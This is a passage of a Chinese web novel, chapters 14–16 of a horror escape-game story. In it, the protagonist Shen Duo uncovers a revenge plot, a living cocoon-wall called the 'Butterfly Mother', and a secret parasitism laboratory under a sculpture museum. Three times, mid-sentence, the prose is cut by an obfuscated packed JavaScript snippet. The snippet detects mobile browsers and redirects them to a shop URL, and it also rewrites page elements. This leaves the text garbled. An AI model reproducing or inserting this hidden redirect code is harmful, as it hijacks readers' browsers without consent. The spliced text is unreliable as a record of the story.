——商飞扬和吕凯,一定认识很久了。 好家伙,一个演不够,两个都在演? 商飞扬和吕凯不知道有人在窗口吃惊天大瓜,前者开门见山道:“你决定好了,就在今晚?” 吕凯点头。表情很冷淡。 商飞扬:“那你要去见一下她吗?” 吕凯:“有必要吗?” 商飞扬叹了口气,抬头看着他,“如果你真打算今晚去死,明天一早,你就会跟他一样了。” “所以?” “所以今晚是你的最后一夜,你想做什么我都会尽力满足。”商飞扬顿了顿,“阿凯,我们很久没见了,这次结束,可能永远都不会再见了,多少……再聚一次吧。” 吕凯听了,默了一会,才道:“好吧。” 见他答应,商飞扬便起身,临走前转过来,打量起了窗口,沈铎连忙缩回来,有惊无险地听到他感慨,“雨越下越大了。” 直到房门完全合上,沈铎又等了十几秒,才飞速飘了出去,一边偷感跟踪,一边回想刚才听到的对话。 吕凯决定在今晚去死? 商飞扬说,既然他要死,那明天早上就会变得跟他一样。跟谁一样?沈铎脑海飞速运转,想到了一个刚死的人。 顾佳佳的爷爷! 一个两个都死是为什么?沈铎想到目前钟莹莹等人对商飞扬的印象:疑似和【破茧】有关的疯癫信徒……如果这是商飞扬表演给他们看的呢?那就更怪了,让人们误解他是个疯子邪教徒有什么好处? 还有,她又是谁,他们要和谁见面? 不断往前,沈铎忽然发现,周围的景色变得熟悉起来,墙壁上的烛火,地上腐朽的落叶,长而深的走廊。白天时,他就走过这条路。当时,是商飞扬带他们前往展览大厅……展览大厅? 她? 不会吧……! 但越来越强烈的灵魂呼应告诉他,这就是白天蝴蝶跟丢的地方,他的灵魂不会欺骗他,商飞扬吕凯的旧相识,没准就是那个采莲女。 如果真是她,那……连今天的健身计划都是设计的吗?我去……史泰龙被影帝影后三人组坑了。 14. 蝴蝶雕塑馆14 -14- 沈铎惊疑不定,有些头晕。他好像一脚踏进一个巨大的迷局,从踏上那辆巴士车开始,就有人在设计这一切。 那么他呢? 钟莹莹是为了真相,关新杰是为了初恋,每个人都有各自的目的,那他又是为什么来雕塑馆的? 沈铎:“……” 他忽然意识到了一个致命的问题。 “我没有原身的记忆。”只有一次,因为关樊的接近,引起了原身刻骨铭心的PTSD,他才得以回忆起原身和关樊的关系。 除此之外就是空白一片。 原身为什么会来参赛,他曾经思考过这个问题。但现在,因为人物关系变得扑朔迷离,导致搞清楚他的身份变得迫在眉睫。不止是他,还有陈文轩、吕凯……搞清楚他们每个人的身份和目的,才有可能接近最终真相。 才有可能推进主线进度,调查出【破茧】背后的秘密。 沈铎:“主线进度多少了?” 系统:“50%。” 沈铎一顿,“我记得出发前是35%?” 系统:“是的。我一直监测着这个数字,在您跟着他们来到展览大厅的过程中,数字一直在往上升,速度很快。” 岂止是很快啊。 他在雕塑馆待了两天,也才到35%,就这一会时间,已经推进了15%。而且,这还只是跟踪。 “如果能听到他们三人的对话,数字应该会升得更快。”沈铎不再停留,穿过辉煌的厅门,深夜中的雕塑群仿佛冷清生长的白桦林,僵白冷白浸透肺腑,即使灵魂感受不到任何温度,他的幻肢还是起了一片鸡皮疙瘩。 因为飘在高处,视野变得更加广阔。 整个大厅为标准的圆形,能容纳数以千计的雕塑。但这些雕塑却有自己的摆放规律,白天他走在里面,仿佛在穿越迷宫,但现在因为漂浮在高空,能清晰看到这些白色雕塑越往中间越密集,越靠中间越复杂,放眼望去,仿佛是一棵白色巨树残留的根须,盘聚在年轮的圆心。 雕塑的裙摆、四肢、底座组成了丝丝缕缕的巨木根须,东南西北各个方位的雕塑,都往中间拼命伸长手臂。它们的神情或恼怒狰狞,或诡异神秘,但往中间聚集的动作都那么迫切渴求,好像有什么在呼唤着它们。 “那是……一个坑吗?” 他飘到了展览厅的中心上空。 俯视着地下一个明显的深坑。 白天他们可能只顾着寻找采莲女,没注意到大厅的地面有着不太明显的坡度,是由四周向内倾斜的。 现在他的脚下一览无余,无数雕塑拼命往内聚集,宛如无数白色浆水往坑内流淌,而他寻找的人,就站在巨坑的边缘。 他不动声色地飘了过去,以巨大的战神雕塑作为视线死角。 这是个不易被发现,又能听到他们对话的位置。 话说回来,沈铎注意到,那边的氛围有些奇怪,明明是老友重逢,三人却都五味杂陈,不知要开口说些什么。 好久了,吕凯才勉强问候一句,“好久不见,筱雨。” 被称为筱雨的女人——也是那位杀伐果决的采莲女。 她早就换掉了那身装束,形容与常人无异。商飞扬和她似乎都能在雕塑和活人的状态自如转化,不知道吕凯是不是也一样。但这是怎么实现的呢?是加入了陈文轩说的【破茧】组织,亲自尝试了那种实验? 那他们现在是不是破茧进化过后的新人类? 正想着,筱雨却冷笑一声:“我其实和你一样,也觉得没必要再见。都已经变成这样了,早点死还算解脱。” “真羡慕你啊,吕凯。明天一早就能死了。” 女人刺耳的声音回荡在坑边,温度都随之降到冰点,还是商飞扬出来打了圆场,“她这些年在地下住着,说话是有些犀利不近人情……” 哪知筱雨却笑得更冷了,“我不止在地下住着呢,你忘了吗,除了恪尽职守扮演一尊采荷的雕塑,我还得负责播报呢。” 播报? 啊……沈铎终于知道,为什么她的声音听起来这么熟悉了。原来她就是在巴士车上响起过的广播女声! 一人身兼采莲女、广播女双重职务,办公地点好像还在地下,商飞扬不愧是资本家的后代,真是太没人性。 好似听到了沈铎的谴责,商飞扬慢慢收起笑容,在愤愤不平的女人和沉默麻木的男人之间扫了一圈,表情跟着冷了下来,“你现在说这些,是后悔了吗?不要忘记是谁害得我们变成这样。” 筱雨沉默片刻,扭头道:“我当然没忘,只是过得太憋屈了……” “没忘就好。再憋屈的日子,也就剩这几天了。你今天应该看到了,他已经起了疑心,怀疑雕塑馆内有……”商飞扬顿了顿,仿佛顾虑着什么,没有说下去,“总之,我们演得很成功,等到明天吕凯再一死,他就会更信了。” “到时候他必定留在馆内,只有他留下来,我们才能顺势开启最后的计划,别忘了,我们这次大费周章钓他现身,就是要他死的。” 最后一句说得凄厉狠毒,两人被商飞扬浓烈的情绪感染,不忿麻木的神情都从脸上褪去,变成孤注一掷的决心。 看得沈铎一愣一愣的。 商飞扬的PUA实力简直跟他们老师有一拼。 不过,商飞扬话里话外提起的“他”又是谁呢?沈铎联系前因后果,大概拼凑出了事情的前后。 有一个人,曾经害过这三个人,这个人,似乎就是导致他们现在人不人鬼不鬼的罪魁祸首。他神龙见首不见尾,很多年没再出现,商飞扬凭借雕塑比赛才让他现身,至于钓饵,似乎是雕塑馆里一个不能提及的存在。 这么说来,这个人似乎就在他们中间。 沈铎提炼出此人的画像。 【冷酷,能把人类当成小白鼠做实验】 【了解‘破茧’的内情,至少知道怎么让科斯克鲁蝶寄生】 【多年从未现身】 【对雕塑馆有着非同寻常的热情】 …… 两个人影慢慢浮现在沈铎的脑海,一个是陈文轩,一个是钟莹莹。这两个人,或多或少都能接触到‘破茧’的信息,而且对雕塑馆的热情极高。至于性格和经历,这些都可以编造,所以无从判断。 但这么说来,关新杰和关樊是不是也有嫌疑呢? 还有死去的顾大爷,他是真的死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119789|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?顾佳佳呢? 说起来,顾佳佳是不是故意引他到采莲女身边的,他们也认识吗?这个计划背后究竟有多少人! 因为三位影帝影后的亮相,沈铎现在有些疑神疑鬼,看谁都很可疑。 甚至还怀疑起了自己。 系统:真狠啊,连自己都杀。 “错错错。原身是原身,我是我,我没有原身的记忆,也不知道他过去做过什么事。”不过看那三人的年龄,原身要是复仇对象,至少得在几年前让他们狠狠栽跟头……唔,感觉有点违和呢。 “来都来了,事情就一起办了吧。”商飞扬走下去。 筱雨朝吕凯翻了个白眼,“看到没有,什么为了告别,他就是为了图省事才把你叫到这来。毕竟下面有……有那个,你死起来更快呢。” 吕凯终于笑了一下,“我知道,这么多年了,我还不了解他?” 三人插科打诨,气氛和谐地往下走去。如果不是听到他们要送吕凯去死,沈铎还以为这么亲亲热热的画面是要送吕凯去上学。 沈铎见他们的身影远去,就从藏身处飞了出来。感受了一下,发现还能再飘一会,于是就跟了上去。 巨坑内也有很多雕塑,密密麻麻,他像闯入一片白色森林,顾虑到他们三人已经不算人类,没准会发现自己,沈铎始终保持着距离,三人的身影像抽长的黑色鬼影,在凶冷的白林长了又短,又过了一会,交谈的声音戛然而止。 “嗯?” 沈铎飘了过来,哪还有三个人影。 他们不见了。 白色冰冷的雕塑森林里,只剩下没有影子的沈铎漂浮着。 偌大的雕塑厅,他仿佛听到不属于自己的呼吸声。 “没有人会平白无故消失的。”他冷静想着,遵循记忆,来到声音最后出现的地方。 有一只带色的蝴蝶雕塑。在所有灰白阴暗的雕塑中,这是唯一一抹亮色,但因为太扎眼了,显得非常鬼魅。 巨大的腹部和翅膀都画有繁复冷蓝色的花纹,竖直站立,因为太像人了,让沈铎很不舒服。 他绕过巨蝶,在它身后发现了一口洞。 方形的洞,漆黑一片,灵魂都能感受到深处刮出的冷风,洞壁上有一段向下的阶梯,刚才消失的三人,应该就是从这走下去了。 沈铎望着黑洞,心头奇异地升起一种熟悉感。 可能有点荒谬,他好像认识这个洞,还能听懂风声。就好像他人类的那部分泯灭了,残留着自然的本性,所以才能听懂风在说话。 不过,到底是风……还是洞里其他东西? “你有没有听到……什么声音?”他不确定地询问系统。 由于是灵魂离体,系统传来的声音模糊不清,他便放弃了,谨慎地靠近些许,弯腰侧耳,听到更清晰的声音自风声剥离传来,沈铎在听到的一瞬间,手背便瞬间发麻,即使是灵魂状态,他也能感受到手背新生出的白茧皮有多兴奋。 它们就像那些白色的雕塑,在拼命往这个黑洞靠近,渴求融为一体。 “……沈……” “沈……” 他后脊冷到发麻。 这个洞,在呼喊他的名字。 15. 蝴蝶雕塑馆15 -15- 一个洞怎么会喊他的名字?沈铎察觉到问题可能出在自己身上。 离这口洞越近,他四肢尤其右手就升起一阵酥麻感,他盯了自己的手一会,确定是那些新生的白茧在疯狂回应。 这个大厅里的雕塑也在拼命朝洞里伸手,下面究竟会是什么?沈铎停留片刻,做出了决定。 他决定继续深入。 系统的声音又能听到了,看到沈铎决定下井,它的狗脸一片惨白,“你你你现在要下去?” “现在情况都不明朗,你也不知道下面有什么!而且你忘了吗?使用许愿瓶的时间是有限的!” 它是怕沈铎无法觉醒,但它更怕沈铎还未觉醒就死在这里,功亏一篑。 沈铎往下飘着,只有他能看见的面板微微映亮,被他当成了照明灯。系统匪夷所思,为什么他一点都不害怕呢?沈铎不是没有怕过,一开始在中转站的冰水里茫然无措地站着,还以为有人要杀他,那时候,它还嘲笑过不是吗? 但自从知道,这里是一个游戏,他反而就不害怕了。 “你说过许愿瓶乃是神赐之物是吗?它是和整个逃生游戏起源有关的神圣之物。”所以沈铎随意使用它才会被系统视为亵渎。 他按照玩游戏的思维去反推系统的每一句话,形成自己的判断。他想要赢。 “如果我在下面遇到危险,那我反而希望时间能快点耗光,这样就能像上次一样,还没被商飞扬看到就被拖回去了。” 其实不该说“如果”。沈铎认定下面有危险已经是板上钉钉的事实。而且这个危险会是他参加游戏以来遇到的最危急的情况,因为他的身体已经做出了反应。 “你看看我留在房间里的身体,有什么不对的地方。” 沈铎注视着自己疯狂颤抖的右手,“尤其是我那只长了茧皮的手。” 系统很快照办,沈铎听到它倒吸了一口冷气,问道:“茧皮扩大了?” “你怎么知道?” 系统真想给沈铎实况转播,原本白茧只覆盖了他小部分手背,现在却在往手臂疯狂延伸,仿佛有看不见的虫子在拼命织茧,丝丝缕缕缠绕住他的手臂。 “我用许愿瓶之前它就在长了,但是不太明显。应该是这里的东西刺激了它,所以生长开始加速了。” 系统真想说一句,都这份上了您怎么听起来一点都不害怕啊。 但沈铎目前还真没法害怕。这个洞对他影响很大。白茧快速生长是针对他的身体,而他的精神变得格外恍惚,这和之前许愿瓶带来的亢奋截然相反,大脑变得粘稠混沌,像被包进了汤水里意识不清。 朦朦胧胧他甚至想象出一些诡异的画面。一个人被包在一只茧里,茧又放进了一个培养皿,无数人正在观察他,窃窃私语,最后跪在地上膜拜,疯狂叫喊。然后通通化为血水,又重新再来一遍。 沈铎觉得这可能不是什么想象。 这可能是陈文轩所说的实验,将人和科斯克鲁蝶结合,实现新的进化。 他应该在这个洞的影响下,和所有被寄生的人精神连通,所以才能共感那些实验体的视野。那么意味着陈文轩撒谎了,或者就是他没接触到,‘破茧’组织是会拿活人来做实验的。 还有一种可能,那就是顾大爷就是这么死去的,他被包在了茧里,但是出于一些理由他没法突破出茧,所以在里面窒息而亡了。 这和昆虫的自然发育一样,不是所有的蝴蝶幼虫都能经历破茧成蝶,自然会淘汰那些虚弱的幼虫。 原本的成茧速度,可能跟他之前差不多。但是展览厅地下有个商飞扬避讳的存在,所有成茧的雕塑都渴望接近它,接近它能使成茧过程变快。 这和商飞扬他们说的“来都来了把事办了”“下去之后你死得更快”也能对得上。 沈铎现在不清楚的是,他是什么时候被蝴蝶寄生的? 另一个不清楚的是,破茧成功和失败的条件是什么,顾大爷和商飞扬一样被寄生了,但为什么一个能死一个能活。 商飞扬显然清楚,而且还能利用这个条件,让吕凯想死就能死。到底是怎么做到的? 沈铎终于停了下来,同时脑浆已变成浆糊。来到深井的最底部,朦胧的呼唤变得更清晰,更大声,好似隔着一层脑浆,无数人在呼唤他的名字。 如果是实体站在这里,他肯定已经中招,听话走过去了。 他压制遵命的冲动,朝声音来源看去。一看到,他就惊呆了。 那是一面超大的墙壁,就跟悬崖一样。他是站在悬崖底部渺小的人。这面墙是白色的,没有透出任何光泽,但沈铎看到的第一眼就知道,这种白色不可能是颜料染出来的,因为颜料是死物,而这面墙是活的。 温润的富有生命力的墙壁,像人类心脏有节奏地跳动着。 等一等。 白色的墙? 一道闪电劈过混沌的脑浆,让他惊悚地想起,这间雕塑馆里,好像所有的墙壁都是白色的。 影帝影后三人组就站在这面墙的中间。 沈铎的意识在看到墙以后更加迷蒙,像个喝晕了的酒蒙子。他看到吕凯和其他两个人点了点头,然后就张开双手,朝后倒了下去……倒了下去? 如果这面墙和他们站立的平台是连接着的,那他就不会倒下去,他会撞在墙上。 所以本来就没有连接,是因为他的视野和墙面平行,所以才形成了视觉差? 吕凯应该掉在了墙和高台之间的缝隙中…… 那这个高台…… 沈铎比划了一下距离。 这个高台是不是有点像观测站? 仿佛是为了呼应他的想象,他的脑海瞬间跳出了无数画面,一群人围站在平台上,那时的设施还是崭新的,不像现在破旧生锈,唯一没变的就是前方巨大如白色悬崖的峭壁,白墙还在跳动,它的呼吸比现在急促得多,起起伏伏如同倒立的白浪。 叮—— 又一道闪电劈开他的脑海,将一个想法惊悚地塞进来。 如果……如果是在观测,那这巨大的白墙……就不是死的,是活的!活着的东西在实验室才有被观察的价值……可如果是活物,那它究竟算什么东西?! 沈铎慢慢抬头,看到吕凯再次出现,已经是全身结茧。那些活跃的白茧在他身上织丝,一刻不停,他很快就会变得和顾大爷一样。 商飞扬和筱雨非常虔诚和恭敬,朝着白墙叩拜。 他看到商飞扬的嘴唇嚅动,吐出几个字。有一瞬间,沈铎憎恨起他提升的感官反应,那两个字像飞箭,送到他耳边,清晰可闻,在听到那两个字之后,他混沌的脑浆停滞片刻,忽然玩命般沸腾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119790|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 所有的血都冲进大脑,沈铎感觉要被挤爆了。 “沈铎,你必须离开了!”系统前所未有的严厉。 沈铎已经得到了足够多的信息,再不迟疑,转身就走,然而没走出几步,又停下来。系统刚要开口,就听到他幽灵般的微弱声音:“那里的墙,是黑色的。” 如果你连续看到的都是白墙,那这一抹黑色就格外惹人注意,理智在告诉沈铎,现在必须要离开,但他又不可遏制地看过去。 黑墙上,似乎有一道隐蔽的门。 商飞扬等人走过来时,他在拼命祈祷,去开门去开门去开门……就像听到了他的渴望,筱雨走了过去,用极其复杂的密码打开了那道黑色大门,三人在门后消失。连犹豫的时间都没给沈铎,体验时间耗尽,他猛一下就被拖了回去。 “呕——!” 生生被拖了十八里地,沈铎现在翻江倒海就是一个字:吐。 大概在卫生间待了一个多小时,他才恢复了视觉和听力,入耳就是严厉的批判:“你这次太过了!” 沈铎:“我理性上诚恳认错。” 知道这是无赖大王的无赖话,它还非要多问一句:“感性上呢?” “感性上是下次还干。” “……” “许愿瓶是多珍贵的东西,每次用都要给它榨干了使用。” 这次的收获颇为丰厚: 【首先,他知道影帝三人组相互认识,装不认识就是为了复仇计划,复仇对象就在他们几人中间】 【其次,他还知道雕塑馆地下有一只巨大的……他不能开口唤出名字,只能在心里默念祂的名讳。商飞扬在说出那两个字时,好像有无数道惊雷砸向了沈铎,他一瞬间就认清了,在地下一直呼唤着自己的,就是那道起伏白茧中的生灵,祂叫蝶母】 【然后,他还记住了开那扇黑色大门的密码】 …… 还有一些零碎的可能性,是他自己推测出来的。 比如,也许这间雕塑馆的所有白墙都是地下【蝶母】的白茧化身,所有能寄生的科斯克鲁蝶都是【蝶母】的子嗣,所以才会本能朝她靠近,还有商飞扬提到的会让复仇对象在意的存在,很有可能就是地下的【蝶母】…… 这一晚的消耗极大,沈铎很快就睡死过去,第二天起得很晚。 不出意料,所有人都被吕凯的死亡震惊了。他装作为之震惊了一下,很快就观察起在座几位的神情,想找出谁才是那个冷血无情的家伙。 钟莹莹义愤言辞,认为商飞扬实在该死,她出去就要举报。 关樊惦记着老哥,连续的死亡让他有点吃不消,一顿饭只吃掉了一个尖。 陈文轩沉稳提供着关于‘破茧’组织更多的消息。 …… 系统在他耳边:“看得出是谁吗?” 沈铎点头,又摇头,“还需要继续观察。” 一上午很快过去,又到了下午的观赏时间。 沈铎摩拳擦掌,就等这一刻了。 商飞扬肯定不会让复仇对象现在就看到【蝶母】,那是他们的终极底牌。再加上昨天他们在雕塑厅也没听到什么呼唤,所以白天这会下井是很安全的,他要趁这段时间去地下,用记住的密码打开那扇黑门。 那里面一定埋藏着最深的秘密。 16. 蝴蝶雕塑馆16 -16- 下井的过程比他想象得顺利,因为吕凯的死亡,钟莹莹几人都有些魂不守舍,小跟屁虫顾佳佳也很给力,在他说想静静以后,也让他一个人待着了。 摆脱大部队之后,沈铎直奔目的地而去。 此时他才知道,用飘的有多方便,人的腿跟空气真是没法比。 脱离了高空视野和极限速度,他又变成了一介凡人,在雕塑森林里徒步前进,在深井攀着扶梯下行。他终于知道玩家为什么会对异能上瘾了,这东西就跟换手机似的,当你体验过最新发行版的智能机,再回去用小灵通怎么都不得劲。 “啪嗒。” 双脚落到地面,沈铎松开手里的扶梯,下意识看向昨天【蝶母】的位置。 空荡荡的。 商飞扬不可能一夜间挪走……沈铎注意到昨天吕凯掉下去的地方隐隐发出白光,便猜测【蝶母】是不是沉到更深的地方去了。 时间有限,他不再耽搁,径直往黑墙而去。 走近一瞧才发现,墙上的门其实是浅银色的质地。不知道被什么东西腐蚀过,才变成了深黑色。 从腐蚀痕迹来看,似乎是从中间向外喷射,而且是从内溅射出来的。从里面到外面,是有人拿着武器对门射击,想把门击穿再出来?沈铎抚摸着丑陋痕迹若有所思,他们在门后遇到了什么东西,连开门的时间都没有,要将重工修建的大门毁掉?这都相当于破釜沉舟,把大本营彻底废弃了。 不过,即使被严重腐蚀过,这扇门依然屹立不倒,想必当时是用了最好的材料打造。 区区一扇门都用了最好的材料,那这间房子一定有更重要的用处。 门上有双重密码锁,沈铎按照昨天筱雨的按键顺序按了一遍,门纹丝不动。正在他怀疑是不是昨天筱雨出来后又改了密码,锁忽然叮一声,发出了声音,“密码正确,请确认指纹权限。” 指纹权限? 他的心骤然收紧。 昨天【蝶母】影响得他意识不清,所以没有注意到筱雨在输完密码后还确认了指纹,毕竟指纹只要验一下就行了,在当时那么匆忙的情况下,忽略掉是很有可能的……沈铎和密码锁大眼瞪小眼。 瞪完转身就走,“算了,先回去。” 他走得太干脆,系统都懵了,“你不是很想赢的吗?” “是想赢啊,但没办法就是没办法,我绞尽脑汁去想了,发现还是无解,那就算了。”沈铎从不为难自己,毕竟好心情也是竞技比赛不可或缺的一部分。 再说了,谁知道指纹不符合会不会跳出警报。 转身收手的动作只有一瞬间,但密码锁却突兀发出了滴声,在寂静的地下,这道轻不可闻的响声如同雷霆将沈铎震在原地,他回过头,看到自己的指纹已经被提取显示,不可置信地抬起手。 “我刚刚没验啊?” 密码锁十分霸道:不,鸭头,你验了。 “指纹提取中,等待验证……” 沈铎怒不可遏:想他活了十七年没有一门课比反诈学得更优秀,但今天他居然被一道密码锁给坑了! 正要破口大骂并转身逃跑,却又听见一声滴响,“指纹识别通过。” “?” “咔。” 门开了。 他在原地站了一会,问系统,“这是什么情况?” 系统也不知道。人与狗面面相觑。 开了一道缝的黑门就像无声的诱惑,提醒沈铎,更大的诈骗也许就在门后。 系统:“进不进?” 沈铎:“进。” 门都开了,警报也没响,为什么不进? 大门是向外拉的,沈铎握住门把才发现这门真有些分量,跟数学老师发的考卷一样结实。球鞋踩上坚实的地面,嗡一声仪器开始运转,水红色的灯光在四周铺开,他仿佛置身于惨红鱼缸,和无数透明柜对视。 透明柜上贴着标签条,记录文字中英文混杂,还有明显的红黑色警告标志,柜顶还有两条细细的管道。 看起来像培养皿。 这里的陈设,像是一个废弃的实验室。 他没有多注意那些培养皿,里面早就没东西了,玩游戏的时候常会有探险实验室情节,他知道在这种地方,最珍贵的是文字记录的资料,这些东西一般都存放在档案室。这里应该也有类似的地方才是。 扫视一圈,视线在最里面的房门停下。 沈铎走了过去,抬头看着门口的牌子: 【资料库闲人免进】 “吱呀。” 门被缓缓推开,积年的尘土气扑面而来。沈铎捂着鼻子,看清了门后的世界。 这个档案室跟他们学校的图书室有点类似,到处都是铁架子,一层一层摞着卷宗,有一些零散的堆在旁边的桌上,他先看向桌子,发现有个上了锁的抽屉,还是跟外面一样的密码锁,想了想,输入之前的密码。 “叮。” 这次没要指纹,锁开了。 宽敞的抽屉只放着一片薄薄的信封,沈铎刚拿到手里,忽然听到身后一声:“你在干什么?” 人在专心致志做事的时候,最忌讳有人突然出声,这句话说得很轻缓,但落下来还是跟雷击一样。 沈铎下意识将信封揣进怀里,转过身,顿了一下:“陈文轩?” 不止陈文轩,他身后还有钟莹莹、关樊和顾佳佳。 好家伙,都能凑一块网吧包夜了。 “小沈,你也太不够意思了,陈教授说你好像发现了不得了的情报,我还不相信呢,跟过来一瞧才知道地下有这么一间实验室。”钟莹莹抱怨着,探进头来,看到了无数泛黄的卷宗,“……” 记者的双眼冒光:“天啊,这么多……这么多资料?!” 她猛地扑进来,沈铎让开,陈教授不好意思道:“没跟你说一声就跟上来了,实在抱歉,你是怎么发现展览厅有口井的?” 沈铎看他一眼:“误打误撞发现的,你不用抱歉,我没来得及告诉你们,本来是打算一块下来的。” 他又看向顾佳佳和关樊,尤其关樊,这家伙早上吃饭的时候就没什么声音,现在背靠着墙,低垂头不知在想什么。 “大哥哥,我来帮你们找资料吧,这么多呢,一个人要看到什么时候呀。” 沈铎朝她微笑:“好啊,一起找吧。” 这么多人悄无声息跟着自己到了实验室,一定有人混在其中推波助澜,沈铎只是不清楚,动歪心思的人有几个。 不管怎么说,有了钟莹莹的加入,浏览卷宗的速度变得飞快。 很快,她就把资料分成了几摞,“这些是实验观察报告,每天24小时的都有。这些是商氏集团历年来的企业报刊,不知道为什么也堆在这里……还有这些,是进项和支出的报表,这个实验室似乎独立于商家运转。” 沈铎拿起她放在最前面的几本企业报刊,听到她说,“这几本和【破茧】组织有关,所以我特意拿出来了。” 【破茧】组织? 沈铎快速翻阅了起来。 …… 大概在几十年前,商国栋也就是商飞扬的爷爷,投资了一个名不见经传的生物学项目,这个项目就是科斯克鲁蝶,从而成立了这个实验室。报刊对其定义是:“开拓进取之精神,刻在人类自身之基因。” 科斯克鲁蝶能寄生在人类身上,帮助人类结茧破茧,这些都是陈文轩曾经讲过的,不稀奇。 稀奇就在于实验室在大量失败案例之后得到一个发现: “与其说是蝴蝶帮助人类进化,不如说是人类在帮助蝴蝶。” 结茧之后,人的心跳呼吸等特征全都消失,似乎在里面融为一滩死水。从这里会分成两条路,一条是死局,无法破茧之后,人类会恢复成原来的样子,但茧此时也无法从身体上剥离,久而久之,就变成和雕塑类似的东西。 另一条路却是生局,万里挑一的人选,能在融为死水后再度复活。在人类的体表特征消失的那几秒钟里,无人知道茧内发生了什么,人类目前所有的仪器都无法看到茧的内部,直到一个崭新的人破茧而出。 但是,此时的这个人,还是之前的人吗? 他是人,还是蝴蝶? 涉及到严重的伦理问题,这项实验很快被叫停,在企业报刊上消失了。但是钟莹莹却拿起资金报表,“但这份报表的时间,却一直维持到十年前,说明商家根本没叫停实验,只是转移到私下秘密发展了。” 钟莹莹追查多年,此时终于有了进展,不禁热泪盈眶。她没发现,关樊慢慢走到她身后,像一只异形鬼魅,拿起一份实验报告来看。 沈铎对钟莹莹做了一个口型示意,她抬头看到关樊的神色,全身的血都冷却下来,慢慢跟着沈铎他们退到了一旁。 关樊没有发觉他们的动作,沉浸在眼前的报告里。 【进化】【超能力】【全新的人】 【科斯克鲁蝶】【进化】【革新】 【人类的新未来】 …… 他的手慢慢哆嗦起来,更多的白茧溢出皮肤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119791|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将手臂完全包裹。几下颤抖之后,他拿不稳脆弱的纸张,随着动作幅度,他的衣袖滑落,露出一条僵白的手臂。他望着自己的手,再没有先前的害怕。 如负释重地笑了。 “原来,这是进化啊。” 昨天被蝴蝶攻击过后,他的身上就出现了白色的伤口。到了夜里,这些伤口扯得他皮肤生疼,打开灯一看,原本只有几处的伤口居然在飞速生长。关樊彻底不敢入睡了,他一闭眼,就能听到丝丝的响声,像是有数不清看不见的虫子在他身上游走,将他慢慢推入纯白色的墓穴。 天亮的时候,他抬头看着吕凯死去的雕塑,再也不能像前几天无所谓。 他背上都是这种白色的茧,下一个死的,有可能就是他自己。 死亡的剑高悬在头顶,他连哥哥都无暇顾及,浑浑噩噩跟着陈文轩他们,忽然听到一句天籁之音:“破茧而出之后,就会进化成全新的人类。” 他不知道自己是怎么走过来的,但他看清了纸上的解释,无疑一剂强心针让他大口喘气:不是死亡。 只是进化。 他会由此变成全新的人类,甚至拥有超能力。 关樊疯疯癫癫大笑,举起自己的手给他们看,“原来不是我要死了,只是进化,是进化啊!” 钟莹莹忍不住道:“但是有可能会变成顾大爷和吕凯那样,没办法破茧的话还是会死的……” “我跟他们怎么能一样?!他们都是废物,我当然不是!我不会死,我当然不会死!”关樊根本不敢去想那些可能性,进化就是他抓住的救命稻草,任何诅咒他死的人都会得到报应,他狠狠瞪住钟莹莹,“你才会死呢,你现在就会死!” 他冲了过来,挥出一拳。 钟莹莹被沈铎拉开,这一拳砸在了存放书籍的铁柜上,砰一下居然凹出一个深坑,关樊更加深信不疑,这不是超能力,还有什么才是? 他信心倍增,力大无穷,转身看到了沈铎,冷笑道:“又是你,你总是跟我对着干,看我今天不收拾你!” 钟莹莹喊道:“你别忘了,我们身上也有茧的!” 关樊停了一步,眼珠子转了一圈,“我们身上是有,但他没被蝴蝶攻击,他身上没有,哈哈哈!” 真是天助我也! 关樊再不多想,一把卡住沈铎的脖子,将他提起来,砰一下甩到了柜子上。没有什么比力气暴增让他更有勇气,他此刻张狂过头,杀心到达顶峰。在这种恐怖的力量压制下,沈铎一定会怕得要死吧! 他无比笃定地转头,却看到一双镇静到清亮的眸子。 “……” 沈铎的脸仅仅因为窒息生理性变红,他的眼睛里没有任何惧怕,还从牙关溢出一丝笑意,“你最好……让我死。” 关樊骂了句脏口,毫不犹豫就将白茧包裹的五指合拢,柔软的皮肤即刻僵化,化身为狰狞的炮弹,朝沈铎的心口砸了进去。 “砰——”一声闷响。 钟莹莹捂着眼不敢看,但是想象中的鲜血没从沈铎的胸口炸开,她震惊地站起来,关樊和她一样震惊,看着自己能将铁皮柜砸出深坑的手停在沈铎的心口,仿佛遇到了什么阻碍再也无法前进。 “你不知道吗?进化也有优劣之分。” 沈铎将手翻转,斑驳的白茧覆在他手腕,仿佛白龙的鳞片。比这更让关樊震惊的,是他手上的白茧居然在退缩。 “寄生你的蝶是什么样的?”沈铎附身,在他耳边悄声道:“是蝶母那样的吗?” “蝶——” “噗嗤——” 蝶母…… 是什么…… 